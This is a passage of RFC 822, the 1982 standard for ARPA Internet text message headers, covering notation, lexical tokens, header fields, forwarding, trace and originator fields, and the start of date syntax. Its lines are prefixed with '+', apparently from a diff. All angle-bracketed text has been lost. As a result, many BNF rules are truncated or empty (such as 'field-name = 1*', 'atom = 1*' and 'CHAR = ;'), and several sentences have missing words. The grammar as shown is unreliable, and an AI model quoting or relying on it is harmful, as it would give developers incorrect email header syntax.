facilitate construction of these parsers. + + In addition to the fields specified in this document, it is + expected that other fields will gain common use. As necessary, + the specifications for these "extension-fields" will be published + through the same mechanism used to publish this document. Users + may also wish to extend the set of fields that they use + privately. Such "user-defined fields" are permitted. + + The framework severely constrains document tone and appear- + ance and is primarily useful for most intra-organization communi- + cations and well-structured inter-organization communication. + It also can be used for some types of inter-process communica- + tion, such as simple file transfer and remote job entry. A more + robust framework might allow for multi-font, multi-color, multi- + dimension encoding of information. A less robust one, as is + present in most single-machine message systems, would more + severely constrain the ability to add fields and the decision to + include specific fields. In contrast with paper-based communica- + tion, it is interesting to note that the RECEIVER of a message + can exercise an extraordinary amount of control over the + message's appearance. The amount of actual control available to + message receivers is contingent upon the capabilities of their + individual message systems. + + + + + + August 13, 1982 - 2 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 2. NOTATIONAL CONVENTIONS + + This specification uses an augmented Backus-Naur Form (BNF) + notation. The differences from standard BNF involve naming rules + and indicating repetition and "local" alternatives. + + 2.1. RULE NAMING + + Angle brackets ("<", ">") are not used, in general. The + name of a rule is simply the name itself, rather than "". + Quotation-marks enclose literal text (which may be upper and/or + lower case). Certain basic rules are in uppercase, such as + SPACE, TAB, CRLF, DIGIT, ALPHA, etc. Angle brackets are used in + rule definitions, and in the rest of this document, whenever + their presence will facilitate discerning the use of rule names. + + 2.2. RULE1 / RULE2: ALTERNATIVES + + Elements separated by slash ("/") are alternatives. There- + fore "foo / bar" will accept foo or bar. + + 2.3. (RULE1 RULE2): LOCAL ALTERNATIVES + + Elements enclosed in parentheses are treated as a single + element. Thus, "(elem (foo / bar) elem)" allows the token + sequences "elem foo elem" and "elem bar elem". + + 2.4. *RULE: REPETITION + + The character "*" preceding an element indicates repetition. + The full form is: + + *element + + indicating at least and at most occurrences of element. + Default values are 0 and infinity so that "*(element)" allows any + number, including zero; "1*element" requires at least one; and + "1*2element" allows one or two. + + 2.5. [RULE]: OPTIONAL + + Square brackets enclose optional elements; "[foo bar]" is + equivalent to "*1(foo bar)". + + 2.6. NRULE: SPECIFIC REPETITION + + "(element)" is equivalent to "*(element)"; that is, + exactly occurrences of (element). Thus 2DIGIT is a 2-digit + number, and 3ALPHA is a string of three alphabetic characters. + + + August 13, 1982 - 3 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 2.7. #RULE: LISTS + + A construct "#" is defined, similar to "*", as follows: + + #element + + indicating at least and at most elements, each separated + by one or more commas (","). This makes the usual form of lists + very easy; a rule such as '(element *("," element))' can be shown + as "1#element". Wherever this construct is used, null elements + are allowed, but do not contribute to the count of elements + present. That is, "(element),,(element)" is permitted, but + counts as only two elements. Therefore, where at least one ele- + ment is required, at least one non-null element must be present. + Default values are 0 and infinity so that "#(element)" allows any + number, including zero; "1#element" requires at least one; and + "1#2element" allows one or two. + + 2.8. ; COMMENTS + + A semi-colon, set off some distance to the right of rule + text, starts a comment that continues to the end of line. This + is a simple way of including useful notes in parallel with the + specifications. + + + + + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 4 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 3. LEXICAL ANALYSIS OF MESSAGES + + 3.1. GENERAL DESCRIPTION + + A message consists of header fields and, optionally, a body. + The body is simply a sequence of lines containing ASCII charac- + ters. It is separated from the headers by a null line (i.e., a + line with nothing preceding the CRLF). + + 3.1.1. LONG HEADER FIELDS + + Each header field can be viewed as a single, logical line of + ASCII characters, comprising a field-name and a field-body. + For convenience, the field-body portion of this conceptual + entity can be split into a multiple-line representation; this + is called "folding". The general rule is that wherever there + may be linear-white-space (NOT simply LWSP-chars), a CRLF + immediately followed by AT LEAST one LWSP-char may instead be + inserted. Thus, the single line + + To: "Joe & J. Harvey" , JJV @ BBN + + can be represented as: + + To: "Joe & J. Harvey" , + JJV@BBN + + and + + To: "Joe & J. Harvey" + , JJV + @BBN + + and + + To: "Joe & + J. Harvey" , JJV @ BBN + + The process of moving from this folded multiple-line + representation of a header field to its single line represen- + tation is called "unfolding". Unfolding is accomplished by + regarding CRLF immediately followed by a LWSP-char as + equivalent to the LWSP-char. + + Note: While the standard permits folding wherever linear- + white-space is permitted, it is recommended that struc- + tured fields, such as those containing addresses, limit + folding to higher-level syntactic breaks. For address + fields, it is recommended that such folding occur + + + August 13, 1982 - 5 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + between addresses, after the separating comma. + + 3.1.2. STRUCTURE OF HEADER FIELDS + + Once a field has been unfolded, it may be viewed as being com- + posed of a field-name followed by a colon (":"), followed by a + field-body, and terminated by a carriage-return/line-feed. + The field-name must be composed of printable ASCII characters + (i.e., characters that have values between 33. and 126., + decimal, except colon). The field-body may be composed of any + ASCII characters, except CR or LF. (While CR and/or LF may be + present in the actual text, they are removed by the action of + unfolding the field.) + + Certain field-bodies of headers may be interpreted according + to an internal syntax that some systems may wish to parse. + These fields are called "structured fields". Examples + include fields containing dates and addresses. Other fields, + such as "Subject" and "Comments", are regarded simply as + strings of text. + + Note: Any field which has a field-body that is defined as + other than simply is to be treated as a struc- + tured field. + + Field-names, unstructured field bodies and structured + field bodies each are scanned by their own, independent + "lexical" analyzers. + + 3.1.3. UNSTRUCTURED FIELD BODIES + + For some fields, such as "Subject" and "Comments", no struc- + turing is assumed, and they are treated simply as s, as + in the message body. Rules of folding apply to these fields, + so that such field bodies which occupy several lines must + therefore have the second and successive lines indented by at + least one LWSP-char. + + 3.1.4. STRUCTURED FIELD BODIES + + To aid in the creation and reading of structured fields, the + free insertion of linear-white-space (which permits folding + by inclusion of CRLFs) is allowed between lexical tokens. + Rather than obscuring the syntax specifications for these + structured fields with explicit syntax for this linear-white- + space, the existence of another "lexical" analyzer is assumed. + This analyzer does not apply for unstructured field bodies + that are simply strings of text, as described above. The + analyzer provides an interpretation of the unfolded text + + + August 13, 1982 - 6 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + composing the body of the field as a sequence of lexical sym- + bols. + + These symbols are: + + - individual special characters + - quoted-strings + - domain-literals + - comments + - atoms + + The first four of these symbols are self-delimiting. Atoms + are not; they are delimited by the self-delimiting symbols and + by linear-white-space. For the purposes of regenerating + sequences of atoms and quoted-strings, exactly one SPACE is + assumed to exist, and should be used, between them. (Also, in + the "Clarifications" section on "White Space", below, note the + rules about treatment of multiple contiguous LWSP-chars.) + + So, for example, the folded body of an address field + + ":sysmail"@ Some-Group. Some-Org, + Muhammed.(I am the greatest) Ali @(the)Vegas.WBA + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 7 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + is analyzed into the following lexical symbols and types: + + :sysmail quoted string + @ special + Some-Group atom + . special + Some-Org atom + , special + Muhammed atom + . special + (I am the greatest) comment + Ali atom + @ atom + (the) comment + Vegas atom + . special + WBA atom + + The canonical representations for the data in these addresses + are the following strings: + + ":sysmail"@Some-Group.Some-Org + + and + + Muhammed.Ali@Vegas.WBA + + Note: For purposes of display, and when passing such struc- + tured information to other systems, such as mail proto- + col services, there must be NO linear-white-space + between s that are separated by period (".") or + at-sign ("@") and exactly one SPACE between all other + s. Also, headers should be in a folded form. + + + + + + + + + + + + + + + + + + + August 13, 1982 - 8 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 3.2. HEADER FIELD DEFINITIONS + + These rules show a field meta-syntax, without regard for the + particular type or internal syntax. Their purpose is to permit + detection of fields; also, they present to higher-level parsers + an image of each field as fitting on one line. + + field = field-name ":" [ field-body ] CRLF + + field-name = 1* + + field-body = field-body-contents + [CRLF LWSP-char field-body] + + field-body-contents = + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + August 13, 1982 - 9 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 3.3. LEXICAL TOKENS + + The following rules are used to define an underlying lexical + analyzer, which feeds tokens to higher level parsers. See the + ANSI references, in the Bibliography. + + ; ( Octal, Decimal.) + CHAR = ; ( 0-177, 0.-127.) + ALPHA = + ; (101-132, 65.- 90.) + ; (141-172, 97.-122.) + DIGIT = ; ( 60- 71, 48.- 57.) + CTL = ; ( 177, 127.) + CR = ; ( 15, 13.) + LF = ; ( 12, 10.) + SPACE = ; ( 40, 32.) + HTAB = ; ( 11, 9.) + <"> = ; ( 42, 34.) + CRLF = CR LF + + LWSP-char = SPACE / HTAB ; semantics = SPACE + + linear-white-space = 1*([CRLF] LWSP-char) ; semantics = SPACE + ; CRLF => folding + + specials = "(" / ")" / "<" / ">" / "@" ; Must be in quoted- + / "," / ";" / ":" / "\" / <"> ; string, to use + / "." / "[" / "]" ; within a word. + + delimiters = specials / linear-white-space / comment + + text = atoms, specials, + CR & bare LF, but NOT ; comments and + including CRLF> ; quoted-strings are + ; NOT recognized. + + atom = 1* + + quoted-string = <"> *(qtext/quoted-pair) <">; Regular qtext or + ; quoted chars. + + qtext = , ; => may be folded + "\" & CR, and including + linear-white-space> + + domain-literal = "[" *(dtext / quoted-pair) "]" + + + + + August 13, 1982 - 10 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + dtext = may be folded + "]", "\" & CR, & including + linear-white-space> + + comment = "(" *(ctext / quoted-pair / comment) ")" + + ctext = may be folded + ")", "\" & CR, & including + linear-white-space> + + quoted-pair = "\" CHAR ; may quote any char + + phrase = 1*word ; Sequence of words + + word = atom / quoted-string + + + 3.4. CLARIFICATIONS + + 3.4.1. QUOTING + + Some characters are reserved for special interpretation, such + as delimiting lexical tokens. To permit use of these charac- + ters as uninterpreted data, a quoting mechanism is provided. + To quote a character, precede it with a backslash ("\"). + + This mechanism is not fully general. Characters may be quoted + only within a subset of the lexical constructs. In particu- + lar, quoting is limited to use within: + + - quoted-string + - domain-literal + - comment + + Within these constructs, quoting is REQUIRED for CR and "\" + and for the character(s) that delimit the token (e.g., "(" and + ")" for a comment). However, quoting is PERMITTED for any + character. + + Note: In particular, quoting is NOT permitted within atoms. + For example when the local-part of an addr-spec must + contain a special character, a quoted string must be + used. Therefore, a specification such as: + + Full\ Name@Domain + + is not legal and must be specified as: + + "Full Name"@Domain + + + August 13, 1982 - 11 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 3.4.2. WHITE SPACE + + Note: In structured field bodies, multiple linear space ASCII + characters (namely HTABs and SPACEs) are treated as + single spaces and may freely surround any symbol. In + all header fields, the only place in which at least one + LWSP-char is REQUIRED is at the beginning of continua- + tion lines in a folded field. + + When passing text to processes that do not interpret text + according to this standard (e.g., mail protocol servers), then + NO linear-white-space characters should occur between a period + (".") or at-sign ("@") and a . Exactly ONE SPACE should + be used in place of arbitrary linear-white-space and comment + sequences. + + Note: Within systems conforming to this standard, wherever a + member of the list of delimiters is allowed, LWSP-chars + may also occur before and/or after it. + + Writers of mail-sending (i.e., header-generating) programs + should realize that there is no network-wide definition of the + effect of ASCII HT (horizontal-tab) characters on the appear- + ance of text at another network host; therefore, the use of + tabs in message headers, though permitted, is discouraged. + + 3.4.3. COMMENTS + + A comment is a set of ASCII characters, which is enclosed in + matching parentheses and which is not within a quoted-string + The comment construct permits message originators to add text + which will be useful for human readers, but which will be + ignored by the formal semantics. Comments should be retained + while the message is subject to interpretation according to + this standard. However, comments must NOT be included in + other cases, such as during protocol exchanges with mail + servers. + + Comments nest, so that if an unquoted left parenthesis occurs + in a comment string, there must also be a matching right + parenthesis. When a comment acts as the delimiter between a + sequence of two lexical symbols, such as two atoms, it is lex- + ically equivalent with a single SPACE, for the purposes of + regenerating the sequence, such as when passing the sequence + onto a mail protocol server. Comments are detected as such + only within field-bodies of structured fields. + + If a comment is to be "folded" onto multiple lines, then the + syntax for folding must be adhered to. (See the "Lexical + + + August 13, 1982 - 12 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + Analysis of Messages" section on "Folding Long Header Fields" + above, and the section on "Case Independence" below.) Note + that the official semantics therefore do not "see" any + unquoted CRLFs that are in comments, although particular pars- + ing programs may wish to note their presence. For these pro- + grams, it would be reasonable to interpret a "CRLF LWSP-char" + as being a CRLF that is part of the comment; i.e., the CRLF is + kept and the LWSP-char is discarded. Quoted CRLFs (i.e., a + backslash followed by a CR followed by a LF) still must be + followed by at least one LWSP-char. + + 3.4.4. DELIMITING AND QUOTING CHARACTERS + + The quote character (backslash) and characters that delimit + syntactic units are not, generally, to be taken as data that + are part of the delimited or quoted unit(s). In particular, + the quotation-marks that define a quoted-string, the + parentheses that define a comment and the backslash that + quotes a following character are NOT part of the quoted- + string, comment or quoted character. A quotation-mark that is + to be part of a quoted-string, a parenthesis that is to be + part of a comment and a backslash that is to be part of either + must each be preceded by the quote-character backslash ("\"). + Note that the syntax allows any character to be quoted within + a quoted-string or comment; however only certain characters + MUST be quoted to be included as data. These characters are + the ones that are not part of the alternate text group (i.e., + ctext or qtext). + + The one exception to this rule is that a single SPACE is + assumed to exist between contiguous words in a phrase, and + this interpretation is independent of the actual number of + LWSP-chars that the creator places between the words. To + include more than one SPACE, the creator must make the LWSP- + chars be part of a quoted-string. + + Quotation marks that delimit a quoted string and backslashes + that quote the following character should NOT accompany the + quoted-string when the string is passed to processes that do + not interpret data according to this specification (e.g., mail + protocol servers). + + 3.4.5. QUOTED-STRINGS + + Where permitted (i.e., in words in structured fields) quoted- + strings are treated as a single symbol. That is, a quoted- + string is equivalent to an atom, syntactically. If a quoted- + string is to be "folded" onto multiple lines, then the syntax + for folding must be adhered to. (See the "Lexical Analysis of + + + August 13, 1982 - 13 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + Messages" section on "Folding Long Header Fields" above, and + the section on "Case Independence" below.) Therefore, the + official semantics do not "see" any bare CRLFs that are in + quoted-strings; however particular parsing programs may wish + to note their presence. For such programs, it would be rea- + sonable to interpret a "CRLF LWSP-char" as being a CRLF which + is part of the quoted-string; i.e., the CRLF is kept and the + LWSP-char is discarded. Quoted CRLFs (i.e., a backslash fol- + lowed by a CR followed by a LF) are also subject to rules of + folding, but the presence of the quoting character (backslash) + explicitly indicates that the CRLF is data to the quoted + string. Stripping off the first following LWSP-char is also + appropriate when parsing quoted CRLFs. + + 3.4.6. BRACKETING CHARACTERS + + There is one type of bracket which must occur in matched pairs + and may have pairs nested within each other: + + o Parentheses ("(" and ")") are used to indicate com- + ments. + + There are three types of brackets which must occur in matched + pairs, and which may NOT be nested: + + o Colon/semi-colon (":" and ";") are used in address + specifications to indicate that the included list of + addresses are to be treated as a group. + + o Angle brackets ("<" and ">") are generally used to + indicate the presence of a one machine-usable refer- + ence (e.g., delimiting mailboxes), possibly including + source-routing to the machine. + + o Square brackets ("[" and "]") are used to indicate the + presence of a domain-literal, which the appropriate + name-domain is to use directly, bypassing normal + name-resolution mechanisms. + + 3.4.7. CASE INDEPENDENCE + + Except as noted, alphabetic strings may be represented in any + combination of upper and lower case. The only syntactic units + + + + + + + + + August 13, 1982 - 14 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + which requires preservation of case information are: + + - text + - qtext + - dtext + - ctext + - quoted-pair + - local-part, except "Postmaster" + + When matching any other syntactic unit, case is to be ignored. + For example, the field-names "From", "FROM", "from", and even + "FroM" are semantically equal and should all be treated ident- + ically. + + When generating these units, any mix of upper and lower case + alphabetic characters may be used. The case shown in this + specification is suggested for message-creating processes. + + Note: The reserved local-part address unit, "Postmaster", is + an exception. When the value "Postmaster" is being + interpreted, it must be accepted in any mixture of + case, including "POSTMASTER", and "postmaster". + + 3.4.8. FOLDING LONG HEADER FIELDS + + Each header field may be represented on exactly one line con- + sisting of the name of the field and its body, and terminated + by a CRLF; this is what the parser sees. For readability, the + field-body portion of long header fields may be "folded" onto + multiple lines of the actual field. "Long" is commonly inter- + preted to mean greater than 65 or 72 characters. The former + length serves as a limit, when the message is to be viewed on + most simple terminals which use simple display software; how- + ever, the limit is not imposed by this standard. + + Note: Some display software often can selectively fold lines, + to suit the display terminal. In such cases, sender- + provided folding can interfere with the display + software. + + 3.4.9. BACKSPACE CHARACTERS + + ASCII BS characters (Backspace, decimal 8) may be included in + texts and quoted-strings to effect overstriking. However, any + use of backspaces which effects an overstrike to the left of + the beginning of the text or quoted-string is prohibited. + + + + + + August 13, 1982 - 15 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 3.4.10. NETWORK-SPECIFIC TRANSFORMATIONS + + During transmission through heterogeneous networks, it may be + necessary to force data to conform to a network's local con- + ventions. For example, it may be required that a CR be fol- + lowed either by LF, making a CRLF, or by , if the CR is + to stand alone). Such transformations are reversed, when the + message exits that network. + + When crossing network boundaries, the message should be + treated as passing through two modules. It will enter the + first module containing whatever network-specific transforma- + tions that were necessary to permit migration through the + "current" network. It then passes through the modules: + + o Transformation Reversal + + The "current" network's idiosyncracies are removed and + the message is returned to the canonical form speci- + fied in this standard. + + o Transformation + + The "next" network's local idiosyncracies are imposed + on the message. + + ------------------ + From ==> | Remove Net-A | + Net-A | idiosyncracies | + ------------------ + || + \/ + Conformance + with standard + || + \/ + ------------------ + | Impose Net-B | ==> To + | idiosyncracies | Net-B + ------------------ + + + + + + + + + + + + August 13, 1982 - 16 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 4. MESSAGE SPECIFICATION + + 4.1. SYNTAX + + Note: Due to an artifact of the notational conventions, the syn- + tax indicates that, when present, some fields, must be in + a particular order. Header fields are NOT required to + occur in any particular order, except that the message + body must occur AFTER the headers. It is recommended + that, if present, headers be sent in the order "Return- + Path", "Received", "Date", "From", "Subject", "Sender", + "To", "cc", etc. + + This specification permits multiple occurrences of most + fields. Except as noted, their interpretation is not + specified here, and their use is discouraged. + + The following syntax for the bodies of various fields should + be thought of as describing each field body as a single long + string (or line). The "Lexical Analysis of Message" section on + "Long Header Fields", above, indicates how such long strings can + be represented on more than one line in the actual transmitted + message. + + message = fields *( CRLF *text ) ; Everything after + ; first null line + ; is message body + + fields = dates ; Creation time, + source ; author id & one + 1*destination ; address required + *optional-field ; others optional + + source = [ trace ] ; net traversals + originator ; original mail + [ resent ] ; forwarded + + trace = return ; path to sender + 1*received ; receipt tags + + return = "Return-path" ":" route-addr ; return address + + received = "Received" ":" ; one per relay + ["from" domain] ; sending host + ["by" domain] ; receiving host + ["via" atom] ; physical path + *("with" atom) ; link/mail protocol + ["id" msg-id] ; receiver msg id + ["for" addr-spec] ; initial form + + + August 13, 1982 - 17 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + ";" date-time ; time received + + originator = authentic ; authenticated addr + [ "Reply-To" ":" 1#address] ) + + authentic = "From" ":" mailbox ; Single author + / ( "Sender" ":" mailbox ; Actual submittor + "From" ":" 1#mailbox) ; Multiple authors + ; or not sender + + resent = resent-authentic + [ "Resent-Reply-To" ":" 1#address] ) + + resent-authentic = + = "Resent-From" ":" mailbox + / ( "Resent-Sender" ":" mailbox + "Resent-From" ":" 1#mailbox ) + + dates = orig-date ; Original + [ resent-date ] ; Forwarded + + orig-date = "Date" ":" date-time + + resent-date = "Resent-Date" ":" date-time + + destination = "To" ":" 1#address ; Primary + / "Resent-To" ":" 1#address + / "cc" ":" 1#address ; Secondary + / "Resent-cc" ":" 1#address + / "bcc" ":" #address ; Blind carbon + / "Resent-bcc" ":" #address + + optional-field = + / "Message-ID" ":" msg-id + / "Resent-Message-ID" ":" msg-id + / "In-Reply-To" ":" *(phrase / msg-id) + / "References" ":" *(phrase / msg-id) + / "Keywords" ":" #phrase + / "Subject" ":" *text + / "Comments" ":" *text + / "Encrypted" ":" 1#2word + / extension-field ; To be defined + / user-defined-field ; May be pre-empted + + msg-id = "<" addr-spec ">" ; Unique message id + + + + + + + August 13, 1982 - 18 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + extension-field = + + + user-defined-field = + + + 4.2. FORWARDING + + Some systems permit mail recipients to forward a message, + retaining the original headers, by adding some new fields. This + standard supports such a service, through the "Resent-" prefix to + field names. + + Whenever the string "Resent-" begins a field name, the field + has the same semantics as a field whose name does not have the + prefix. However, the message is assumed to have been forwarded + by an original recipient who attached the "Resent-" field. This + new field is treated as being more recent than the equivalent, + original field. For example, the "Resent-From", indicates the + person that forwarded the message, whereas the "From" field indi- + cates the original author. + + Use of such precedence information depends upon partici- + pants' communication needs. For example, this standard does not + dictate when a "Resent-From:" address should receive replies, in + lieu of sending them to the "From:" address. + + Note: In general, the "Resent-" fields should be treated as con- + taining a set of information that is independent of the + set of original fields. Information for one set should + not automatically be taken from the other. The interpre- + tation of multiple "Resent-" fields, of the same type, is + undefined. + + In the remainder of this specification, occurrence of legal + "Resent-" fields are treated identically with the occurrence of + + + + + + + + + August 13, 1982 - 19 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + fields whose names do not contain this prefix. + + 4.3. TRACE FIELDS + + Trace information is used to provide an audit trail of mes- + sage handling. In addition, it indicates a route back to the + sender of the message. + + The list of known "via" and "with" values are registered + with the Network Information Center, SRI International, Menlo + Park, California. + + 4.3.1. RETURN-PATH + + This field is added by the final transport system that + delivers the message to its recipient. The field is intended + to contain definitive information about the address and route + back to the message's originator. + + Note: The "Reply-To" field is added by the originator and + serves to direct replies, whereas the "Return-Path" + field is used to identify a path back to the origina- + tor. + + While the syntax indicates that a route specification is + optional, every attempt should be made to provide that infor- + mation in this field. + + 4.3.2. RECEIVED + + A copy of this field is added by each transport service that + relays the message. The information in the field can be quite + useful for tracing transport problems. + + The names of the sending and receiving hosts and time-of- + receipt may be specified. The "via" parameter may be used, to + indicate what physical mechanism the message was sent over, + such as Arpanet or Phonenet, and the "with" parameter may be + used to indicate the mail-, or connection-, level protocol + that was used, such as the SMTP mail protocol, or X.25 tran- + sport protocol. + + Note: Several "with" parameters may be included, to fully + specify the set of protocols that were used. + + Some transport services queue mail; the internal message iden- + tifier that is assigned to the message may be noted, using the + "id" parameter. When the sending host uses a destination + address specification that the receiving host reinterprets, by + + + August 13, 1982 - 20 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + expansion or transformation, the receiving host may wish to + record the original specification, using the "for" parameter. + For example, when a copy of mail is sent to the member of a + distribution list, this parameter may be used to record the + original address that was used to specify the list. + + 4.4. ORIGINATOR FIELDS + + The standard allows only a subset of the combinations possi- + ble with the From, Sender, Reply-To, Resent-From, Resent-Sender, + and Resent-Reply-To fields. The limitation is intentional. + + 4.4.1. FROM / RESENT-FROM + + This field contains the identity of the person(s) who wished + this message to be sent. The message-creation process should + default this field to be a single, authenticated machine + address, indicating the AGENT (person, system or process) + entering the message. If this is not done, the "Sender" field + MUST be present. If the "From" field IS defaulted this way, + the "Sender" field is optional and is redundant with the + "From" field. In all cases, addresses in the "From" field + must be machine-usable (addr-specs) and may not contain named + lists (groups). + + 4.4.2. SENDER / RESENT-SENDER + + This field contains the authenticated identity of the AGENT + (person, system or process) that sends the message. It is + intended for use when the sender is not the author of the mes- + sage, or to indicate who among a group of authors actually + sent the message. If the contents of the "Sender" field would + be completely redundant with the "From" field, then the + "Sender" field need not be present and its use is discouraged + (though still legal). In particular, the "Sender" field MUST + be present if it is NOT the same as the "From" Field. + + The Sender mailbox specification includes a word sequence + which must correspond to a specific agent (i.e., a human user + or a computer program) rather than a standard address. This + indicates the expectation that the field will identify the + single AGENT (person, system, or process) responsible for + sending the mail and not simply include the name of a mailbox + from which the mail was sent. For example in the case of a + shared login name, the name, by itself, would not be adequate. + The local-part address unit, which refers to this agent, is + expected to be a computer system term, and not (for example) a + generalized person reference which can be used outside the + network text message context. + + + August 13, 1982 - 21 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + Since the critical function served by the "Sender" field is + identification of the agent responsible for sending mail and + since computer programs cannot be held accountable for their + behavior, it is strongly recommended that when a computer pro- + gram generates a message, the HUMAN who is responsible for + that program be referenced as part of the "Sender" field mail- + box specification. + + 4.4.3. REPLY-TO / RESENT-REPLY-TO + + This field provides a general mechanism for indicating any + mailbox(es) to which responses are to be sent. Three typical + uses for this feature can be distinguished. In the first + case, the author(s) may not have regular machine-based mail- + boxes and therefore wish(es) to indicate an alternate machine + address. In the second case, an author may wish additional + persons to be made aware of, or responsible for, replies. A + somewhat different use may be of some help to "text message + teleconferencing" groups equipped with automatic distribution + services: include the address of that service in the "Reply- + To" field of all messages submitted to the teleconference; + then participants can "reply" to conference submissions to + guarantee the correct distribution of any submission of their + own. + + Note: The "Return-Path" field is added by the mail transport + service, at the time of final deliver. It is intended + to identify a path back to the orginator of the mes- + sage. The "Reply-To" field is added by the message + originator and is intended to direct replies. + + 4.4.4. AUTOMATIC USE OF FROM / SENDER / REPLY-TO + + For systems which automatically generate address lists for + replies to messages, the following recommendations are made: + + o The "Sender" field mailbox should be sent notices of + any problems in transport or delivery of the original + messages. If there is no "Sender" field, then the + "From" field mailbox should be used. + + o The "Sender" field mailbox should NEVER be used + automatically, in a recipient's reply message. + + o If the "Reply-To" field exists, then the reply should + go to the addresses indicated in that field and not to + the address(es) indicated in the "From" field. + + + + + August 13, 1982 - 22 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + o If there is a "From" field, but no "Reply-To" field, + the reply should be sent to the address(es) indicated + in the "From" field. + + Sometimes, a recipient may actually wish to communicate with + the person that initiated the message transfer. In such + cases, it is reasonable to use the "Sender" address. + + This recommendation is intended only for automated use of + originator-fields and is not intended to suggest that replies + may not also be sent to other recipients of messages. It is + up to the respective mail-handling programs to decide what + additional facilities will be provided. + + Examples are provided in Appendix A. + + 4.5. RECEIVER FIELDS + + 4.5.1. TO / RESENT-TO + + This field contains the identity of the primary recipients of + the message. + + 4.5.2. CC / RESENT-CC + + This field contains the identity of the secondary (informa- + tional) recipients of the message. + + 4.5.3. BCC / RESENT-BCC + + This field contains the identity of additional recipients of + the message. The contents of this field are not included in + copies of the message sent to the primary and secondary reci- + pients. Some systems may choose to include the text of the + "Bcc" field only in the author(s)'s copy, while others may + also include it in the text sent to all those indicated in the + "Bcc" list. + + 4.6. REFERENCE FIELDS + + 4.6.1. MESSAGE-ID / RESENT-MESSAGE-ID + + This field contains a unique identifier (the local-part + address unit) which refers to THIS version of THIS message. + The uniqueness of the message identifier is guaranteed by the + host which generates it. This identifier is intended to be + machine readable and not necessarily meaningful to humans. A + message identifier pertains to exactly one instantiation of a + particular message; subsequent revisions to the message should + + + August 13, 1982 - 23 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + each receive new message identifiers. + + 4.6.2. IN-REPLY-TO + + The contents of this field identify previous correspon- + dence which this message answers. Note that if message iden- + tifiers are used in this field, they must use the msg-id + specification format. + + 4.6.3. REFERENCES + + The contents of this field identify other correspondence + which this message references. Note that if message identif- + iers are used, they must use the msg-id specification format. + + 4.6.4. KEYWORDS + + This field contains keywords or phrases, separated by + commas. + + 4.7. OTHER FIELDS + + 4.7.1. SUBJECT + + This is intended to provide a summary, or indicate the + nature, of the message. + + 4.7.2. COMMENTS + + Permits adding text comments onto the message without + disturbing the contents of the message's body. + + 4.7.3. ENCRYPTED + + Sometimes, data encryption is used to increase the + privacy of message contents. If the body of a message has + been encrypted, to keep its contents private, the "Encrypted" + field can be used to note the fact and to indicate the nature + of the encryption. The first parameter indicates the + software used to encrypt the body, and the second, optional + is intended to aid the recipient in selecting the + proper decryption key. This code word may be viewed as an + index to a table of keys held by the recipient. + + Note: Unfortunately, headers must contain envelope, as well + as contents, information. Consequently, it is neces- + sary that they remain unencrypted, so that mail tran- + sport services may access them. Since names, + addresses, and "Subject" field contents may contain + + + August 13, 1982 - 24 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + sensitive information, this requirement limits total + message privacy. + + Names of encryption software are registered with the Net- + work Information Center, SRI International, Menlo Park, Cali- + fornia. + + 4.7.4. EXTENSION-FIELD + + A limited number of common fields have been defined in + this document. As network mail requirements dictate, addi- + tional fields may be standardized. To provide user-defined + fields with a measure of safety, in name selection, such + extension-fields will never have names that begin with the + string "X-". + + Names of Extension-fields are registered with the Network + Information Center, SRI International, Menlo Park, California. + + 4.7.5. USER-DEFINED-FIELD + + Individual users of network mail are free to define and + use additional header fields. Such fields must have names + which are not already used in the current specification or in + any definitions of extension-fields, and the overall syntax of + these user-defined-fields must conform to this specification's + rules for delimiting and folding fields. Due to the + extension-field publishing process, the name of a user- + defined-field may be pre-empted + + Note: The prefatory string "X-" will never be used in the + names of Extension-fields. This provides user-defined + fields with a protected set of names. + + + + + + + + + + + + + + + + + + + August 13, 1982 - 25 - RFC #822 + + + + Standard for ARPA Internet Text Messages + + + 5. DATE AND TIME SPECIFICATION + + 5.1. SYNTAX + + date-time = [ day "," ] date time ; dd mm yy + ; hh:mm:ss zzz + + day = "Mon" / "Tue" / "Wed" / "Thu" + / "Fri" / "Sat" / "Sun" + + date = 1*2DIGIT month 2DIGIT ; day month year + ; e.g. 20 Jun 82 + + month = "Jan" / "Feb" / "Mar" / "Apr" + / "May" / "Jun" / "Jul" / "Aug" + / "Sep" / "Oct" / "Nov" / "Dec" + + time = hour zone ; ANSI and Military + + hour = 2DIGIT ":" 2DIGIT [":" 2DIGIT] + ; 00:00:00 - 23:59:59 + + zone = "UT" / "GMT" ; Universal Time + ; North American : UT + / "EST" / "EDT" ; Eastern: - 5/ - 4 + / "CST" / "CDT" ; Central: - 6/ - 5 + / "MST" / "MDT" ; Mountain: - 7/ - 6 + / "PST" / "PDT" ; Pacific: - 8/ - 7 + / 1ALPHA ; Military: Z = UT; + ; A:-1; (J not used) + ; M:-12; N:+1; Y:+12 + / ( ("+" / "-") 4DIGIT ) ; Local differential + ; hours+min. (HHMM) + + 5.2. SEMANTICS + + If included, day-of-week must be the day implied by the date + specification. + + Time zone may be indicated in several ways. "UT" is Univer- + sal Time (formerly called "Greenwich Mean Time"); "GMT" is per- + mitted as a reference to Universal Time. The military standard + uses a single character for each zone. "Z" is Universal Time. + "A" indicates one hour earlier, and "M" indicates 12 hours ear- + lier; "N" is one hour later, and "Y" is 12 hours later. The + letter 